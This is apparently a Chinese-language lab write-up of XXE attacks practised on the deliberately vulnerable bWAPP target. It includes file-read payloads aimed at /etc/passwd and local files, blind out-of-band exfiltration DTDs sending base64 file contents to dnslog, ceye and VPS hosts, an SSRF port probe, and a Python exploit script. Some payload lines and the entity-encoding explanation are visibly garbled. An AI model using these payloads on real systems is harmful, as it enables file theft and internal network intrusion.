8.bwapp亲测xxe漏洞
介绍
这几天在学***E漏洞,这里用靶机bwapp来练习一下这个漏洞,重在学习
xxe漏洞主要针对webservice危险的引用的外部实体并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目录遍历等.首先存在漏洞的web服务一定是存在xml传输数据的,可以在http头的content-type中查看,也可以根据url一些常见的关键字进行判断测试,例如wsdl(web服务描述语言)。或者一些常见的采用xml的java服务配置文件(spring,struts2)。
不过现实中存在的大多数xxe漏洞都是blind,即不可见的,必须采用带外通道进行返回信息的记录,这里简单来说就是攻击者必须具有一台具有公网ip的主机.
首先要明白xxe漏洞是如何读取文件的:
<!ENTITY name SYSTEM "file:///etc/passwd">
<root>&name;</root>
此时服务器会在root节点返回 /etc/passwd 的内容,整个代码运行流程是name实体加载本地文件,并且文件返回值被赋给name.如果没有回显则可以利用带外通信进行测试.
首先观察这个http包,在包头中可以观察到文件接收者以xml的形式读取文件,符合xxe漏洞的条件,然后服务器会正常返回在body中post过去的xml代码执行内容
此时就可以构造恶意的xml代码,可以看见服务器仍是正常返回,说明在服务器端并没有进行过滤,因此可以初步确定此应用存在xxe漏洞(非blind型的xxe).
Bind XXE(盲注XXE)
探测
针对blind的xxe,首先需要判断是否存在XXE漏洞,我这里使用Dnslog平台来验证一下漏洞是否存在
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://bmjoker.oknsow.dnslog.cn">%remote;
]>
可以看到dnslog收到了请求,证明xxe漏洞存在
读取文件
可以构造如下evil.dtd请求payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % dtd SYSTEM "http://47.107.136.25/evil.dtd"> %dtd;%int;%send; ]>
<r></r>
这个是用于直接在http body中提交的恶意xml代码,它会去调用位于我们的主机上的外部xml文件(不在同一个文件写入要读取的文件主要是为了避免参数实体引用时发生的错误)
以下是eval.dtd的内容:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://b7lcxb.dnslog.cn/?p=%file;'>">
具体加载过程:首先加载参数实体 dtd 。此时会远程加载攻击者主机上的外部实体,然后加载 int 参数实体。接下来加载 send 实体,此时就是关键点,就是用于记载服务器端的返回内容(通过get查询方式会在攻击者的服务器日志中留下记录),查询的字符串 p 的值便是参数实体 file 的值,也就是读取的文件。参数实体 int 只是辅助的作用,用于辅助解释参数实体 send 的内容。
问题
1.这个 % 是不是写错了?直接用 % 不行吗?
如果直接使用%号的话,会出现下面的报错
DOMDocument::loadXML(): Entity Value: ‘%’ forbidden except for entities
报错已经说的很清楚,%不允许出现在Entity的value中,所以需要将%进行Unicode编码为 % 或者 %(转化成Unicode编码有两种形式,以&#后接十进制数字,&#x后接十六进制数字)
2.为什么不能直接 "file:///etc/passwd",而要使用php://filter流
因为字符的原因,虽然没有在xml中加特殊字符,但是关于字符,有可见字符,也有不可见字符,所以这种情况,需要十六进制(xxd或者hexdump -C)显示一下是否有系统自己添加的特殊字符,就像echo "hello" > joker,echo命令本身就是回车显示,所以看似没有问题的URL,其实有一个小小的回车(0a)存在,导致保存,无法识别file读取的url路径。所以目前最好的方法就是利用php://filter流来读取文件。
具体使用,下面使用Bwapp具体实践
3.Java怎么使用盲注XXE读取文件
Java在Blind XXE的利用上,读取文件会有些问题
在PHP中,我们可以使用 php://filter/read=convert.base64-encode/resource=/etc/hosts 方法将文本内容进行base64编码。
但是Java中没这样的编码方法,所以如果要读取换行的文件,一般使用FTP协议,HTTP协议会由于存在换行等字符,请求发送失败。FTP读取方法可以参考这篇文章,里面也有FTP Server的相关代码。
http://www.voidcn.com/article/p-njawsjxm-ko.html
但是,我在测试的时候遇到一个问题,FTP请求发出去了,但是Server端只能看到 New client connected 内容,看不到实际发出去的内容。我猜测和Java版本有关。
java -version
java version "1.8.0_121"
Java(TM) SE Runtime Environment (build 1.8.0_121-b13)
Java HotSpot(TM) 64-Bit Server VM (build 25.121-b13, mixed mode)
Bwapp实践
有回显的xxe:
基本知识也了解的差不多,现在我们打开bwapp靶机:
我们用burp抓包看看数据传输情况(都知道是XXE了,肯定要抓包看看XML数据的传输情况啦):
打开burp,点击页面any bugs进行抓包:
可以看到xxe-1.php页面以post方式向xxe-2.php页面传输了XML数据,所以我们可以自己尝试构建实体,
如果后台没有合理的解析参数,就有可以造成XXE漏洞。修改的内容,知道这里解析login参数并回显
增加一个恶意外部实体然后在原本的XML数据中进行实体调用,来进行XXE攻击。具体如图,右侧
为返回的d:/xxetest.txt文件内容,XXE攻击成功,我们读取了windows的重要文件:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [
<!ENTITY test SYSTEM "file:///d://xxetest.txt">
]>
<reset>
<login>&test;</login>
<secret>login</secret>
</reset>
当然,我们也可以利用XXE来读取网站目录下的一些重要文件,p.s:读取内网中其他服务器文件也是可行的,
这也是BWAPP作者将XXE归到SSRF利用里原因,我们随便测试个文件试试看,右侧返回了文件内容:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test copyright[http://172.19.89.86/bWAPP/bWAPP/robots.txt">
]>
<reset>
<login>&test;</login>
<secret>login</secret>
</reset>
我们也可以来测试端口是否开放,这里拿80端口是否开放演示:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "http://127.0.0.1:80">
]>
<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>
若80端口开放,回显如下的报错信息
若端口不开放,则显示如下信息:
利用python写了一个简单的exp,进行测试,如下:
#coding=utf-8
import requests
if __name__ == '__main__':
payload = raw_input('输入你想利用xxe得到的资源,如file:///etc/passwd\npayload:'.decode('utf-8').encode('gbk'))
url = 'http://172.19.89.86/bWAPP/bWAPP/xxe-2.php'
headers = {'Content-type':'text/xml'}
cookies = {'PHPSESSID':'0gbae4b3f9fsofkcdn4k33ere1','security_level':'0'}
xml = '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE copyright[<!ENTITY test SYSTEM "'+ payload +'">]><reset><login>&test;</login><secret>login</secret></reset>'
r = requests.post(url,headers=headers,cookies=cookies,data=xml)
print 'xxe攻击返回结果:'.decode('utf-8').encode('gbk')
print r.content
读取d:/xxetest.txt:
读取robots.txt:
无回显XXE读取文件
先进行判断是否存在漏洞,直接去解析DNSlog平台
收到dns解析记录,说明存在xxe漏洞
在服务器上构造evil.dtd,内容如下:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/xxetest.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://cgafwj.ceye.io/?p=%file;'>">
然后在http body中提交的恶意xml代码,它会去调用位于我们的主机上的外部dtd文件:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM "http://47.107.136.25/evil.dtd">
%dtd;%int;%send; ]>
这个时候看一下DNSlog平台是否收到记录:
http收到请求:
dns也受到解析记录:
参数p后面就是读取的本地文件的base64后的内容,解密:
成功实现xxe盲注读取本地文件。
也可以使用下面的方法:
vps上的xml.dtd:
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://VPS的地址:2121/%file;'>">
%all;
然后在VPS上用python在2121端口起另一个http服务
python -m SimpleHTTPServer 2121
本地提交:
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://VPS的http服务/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/Users/mi/Desktop/1.txt">
%remote;
%send;
]>
就会看到监听的端口收到数据。
参考链接:
https://blog.csdn.net/u011721501/article/details/43775691#commentBox
https://thief.one/2017/06/20/1/
http://duyana.top/post/7eb7e3d8/
https://m3lon.github.io/2019/01/20/xxe%E5%AE%9E%E9%AA%8C%E8%B8%A9%E5%9D%91%E8%AE%B0%E5%BD%95/